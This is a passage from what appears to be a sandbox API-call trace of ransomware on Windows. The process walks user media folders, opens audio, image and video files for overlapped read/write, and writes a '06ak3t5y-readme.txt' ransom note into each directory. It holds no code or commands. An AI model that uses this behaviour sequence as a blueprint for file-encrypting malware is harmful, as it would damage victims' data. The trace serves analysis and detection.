(pszPath="ht6mcbd4xy51mffx.mp3") returned=".mp3" [0110.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\ht6mcbD4xY51MFFx.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\ht6mcbd4xy51mffx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3b8 [0110.917] CreateIoCompletionPort (FileHandle=0x3b8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.917] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46c2d40) returned 1 [0110.917] PathFindExtensionW (pszPath="qsi-.m4a") returned=".m4a" [0110.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\qsI-.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\qsi-.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3bc [0110.924] CreateIoCompletionPort (FileHandle=0x3bc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.924] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46cf210) returned 1 [0110.924] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.934] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078200) returned 1 [0110.934] WriteFile (in: hFile=0x3c0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.935] CloseHandle (hObject=0x3c0) returned 1 [0110.935] PathFindExtensionW (pszPath="tch9inh.mp3") returned=".mp3" [0110.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\tCh9inH.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\tch9inh.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3c0 [0110.936] CreateIoCompletionPort (FileHandle=0x3c0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.937] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46e7548) returned 1 [0110.937] PathFindExtensionW (pszPath="tzurc8_z hjox8cssbc.wav") returned=".wav" [0110.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\tzURC8_Z HJox8cSSbC.wav" (normalized: "c:\\users\\keecfmwgj\\music\\tzurc8_z hjox8cssbc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3c4 [0110.938] CreateIoCompletionPort (FileHandle=0x3c4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.938] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46e9270) returned 1 [0110.938] PathFindExtensionW (pszPath="xufuzf.mp3") returned=".mp3" [0110.939] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\XUfUzf.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\xufuzf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3c8 [0110.940] CreateIoCompletionPort (FileHandle=0x3c8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.940] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x38f8b60) returned 1 [0110.940] PathFindExtensionW (pszPath="zyug2.m4a") returned=".m4a" [0110.941] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\zYUG2.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\zyug2.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3cc [0110.942] CreateIoCompletionPort (FileHandle=0x3cc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.942] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x46ed900) returned 1 [0110.944] PathFindExtensionW (pszPath="4ldtijnb5enuq.bmp") returned=".bmp" [0110.945] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x228a) returned 0x4705d98 [0110.945] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\4ldTijNb5enuQ.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\4ldtijnb5enuq.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3d0 [0110.945] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068970 [0110.947] CreateIoCompletionPort (FileHandle=0x3d0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.947] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4705d98) returned 1 [0110.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0110.947] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367aa40) returned 1 [0110.947] WriteFile (in: hFile=0x3d4, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.948] CloseHandle (hObject=0x3d4) returned 1 [0110.949] PathFindExtensionW (pszPath="h1wr8r.bmp") returned=".bmp" [0110.949] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x13a1) returned 0x4708030 [0110.949] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\h1WR8r.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\h1wr8r.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3d4 [0110.949] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x56) returned 0x2069c60 [0110.950] CreateIoCompletionPort (FileHandle=0x3d4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.950] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4708030) returned 1 [0110.950] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515f16c0, ftCreationTime.dwHighDateTime=0x1d75270, ftLastAccessTime.dwLowDateTime=0x3b7443f0, ftLastAccessTime.dwHighDateTime=0x1d75557, ftLastWriteTime.dwLowDateTime=0x3b7443f0, ftLastWriteTime.dwHighDateTime=0x1d75557, nFileSizeHigh=0x0, nFileSizeLow=0x16dad, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="hreakSGbo7iehUMhp.jpg", cAlternateFileName="HREAKS~1.JPG")) returned 1 [0110.950] PathFindExtensionW (pszPath="hreaksgbo7iehumhp.jpg") returned=".jpg" [0110.951] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x16efd) returned 0x47093e0 [0110.952] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\hreakSGbo7iehUMhp.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hreaksgbo7iehumhp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3d8 [0110.952] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30eeb48 [0110.953] CreateIoCompletionPort (FileHandle=0x3d8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.953] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x47093e0) returned 1 [0110.953] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515f16c0, ftCreationTime.dwHighDateTime=0x1d75270, ftLastAccessTime.dwLowDateTime=0x3b7443f0, ftLastAccessTime.dwHighDateTime=0x1d75557, ftLastWriteTime.dwLowDateTime=0x3b7443f0, ftLastWriteTime.dwHighDateTime=0x1d75557, nFileSizeHigh=0x0, nFileSizeLow=0x16dad, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="hreaksgbo7iehumhp.jpg", cAlternateFileName="HREAKS~1.JPG")) returned 0 [0110.954] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.954] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067270) returned 1 [0110.954] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040220) returned 1 [0110.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Saved Games\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c6cf60, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c6cf60, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.954] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c6cf60, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c6cf60, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.954] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c6cf60, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c6cf60, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c71d80, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.954] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.954] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0110.954] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.954] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20672c0) returned 1 [0110.955] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402c0) returned 1 [0110.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Searches\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c71d80, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c71d80, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.955] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c71d80, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c71d80, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.955] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c71d80, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c71d80, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c74490, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.955] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8317a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.955] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0110.955] PathFindExtensionW (pszPath="everywhere.search-ms") returned=".search-ms" [0110.955] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x248) returned 0x397e2a0 [0110.955] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\keecfmwgj\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.956] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.956] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0110.956] PathFindExtensionW (pszPath="indexed locations.search-ms") returned=".search-ms" [0110.957] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x248) returned 0x397e2a0 [0110.957] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\keecfmwgj\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.957] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.957] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="indexed locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0110.957] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.957] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3687298) returned 1 [0110.957] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400b0) returned 1 [0110.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c76ba0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c76ba0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.957] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3c76ba0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c76ba0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.958] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c76ba0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c76ba0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c792b0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.958] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd407260, ftCreationTime.dwHighDateTime=0x1d74e95, ftLastAccessTime.dwLowDateTime=0xa28ad5e0, ftLastAccessTime.dwHighDateTime=0x1d75a20, ftLastWriteTime.dwLowDateTime=0xa28ad5e0, ftLastWriteTime.dwHighDateTime=0x1d75a20, nFileSizeHigh=0x0, nFileSizeLow=0x7c0c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="7oacghL0FgM.mp4", cAlternateFileName="7OACGH~1.MP4")) returned 1 [0110.958] PathFindExtensionW (pszPath="7oacghl0fgm.mp4") returned=".mp4" [0110.958] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x7d5c) returned 0x47202e8 [0110.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\7oacghL0FgM.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\7oacghl0fgm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3dc [0110.959] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x2086710 [0110.960] CreateIoCompletionPort (FileHandle=0x3dc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.960] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x47202e8) returned 1 [0110.960] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e98180, ftCreationTime.dwHighDateTime=0x1d75a31, ftLastAccessTime.dwLowDateTime=0x80933930, ftLastAccessTime.dwHighDateTime=0x1d75b12, ftLastWriteTime.dwLowDateTime=0x80933930, ftLastWriteTime.dwHighDateTime=0x1d75b12, nFileSizeHigh=0x0, nFileSizeLow=0x4c38, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="DdzxhrbP8S7OSzK7gvx-.avi", cAlternateFileName="DDZXHR~1.AVI")) returned 1 [0110.960] PathFindExtensionW (pszPath="ddzxhrbp8s7oszk7gvx-.avi") returned=".avi" [0110.960] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x4d88) returned 0x4728050 [0110.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\DdzxhrbP8S7OSzK7gvx-.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\ddzxhrbp8s7oszk7gvx-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3e0 [0110.961] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6e) returned 0x30eebc0 [0110.962] CreateIoCompletionPort (FileHandle=0x3e0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.962] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4728050) returned 1 [0110.962] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798ad850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798ad850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7e35a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.962] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68b75e50, ftCreationTime.dwHighDateTime=0x1d75602, ftLastAccessTime.dwLowDateTime=0x1be638c0, ftLastAccessTime.dwHighDateTime=0x1d758b0, ftLastWriteTime.dwLowDateTime=0x1be638c0, ftLastWriteTime.dwHighDateTime=0x1d758b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="e xYTCaRLnxwOjYPkpp", cAlternateFileName="EXYTCA~1")) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400b0 [0110.963] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x20689e0 [0110.963] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x2078200 [0110.963] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0110.963] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078200) returned 1 [0110.963] WriteFile (in: hFile=0x3e4, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.964] CloseHandle (hObject=0x3e4) returned 1 [0110.964] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74c65370, ftCreationTime.dwHighDateTime=0x1d75a5a, ftLastAccessTime.dwLowDateTime=0x37e2d880, ftLastAccessTime.dwHighDateTime=0x1d75be9, ftLastWriteTime.dwLowDateTime=0x37e2d880, ftLastWriteTime.dwHighDateTime=0x1d75be9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba6, 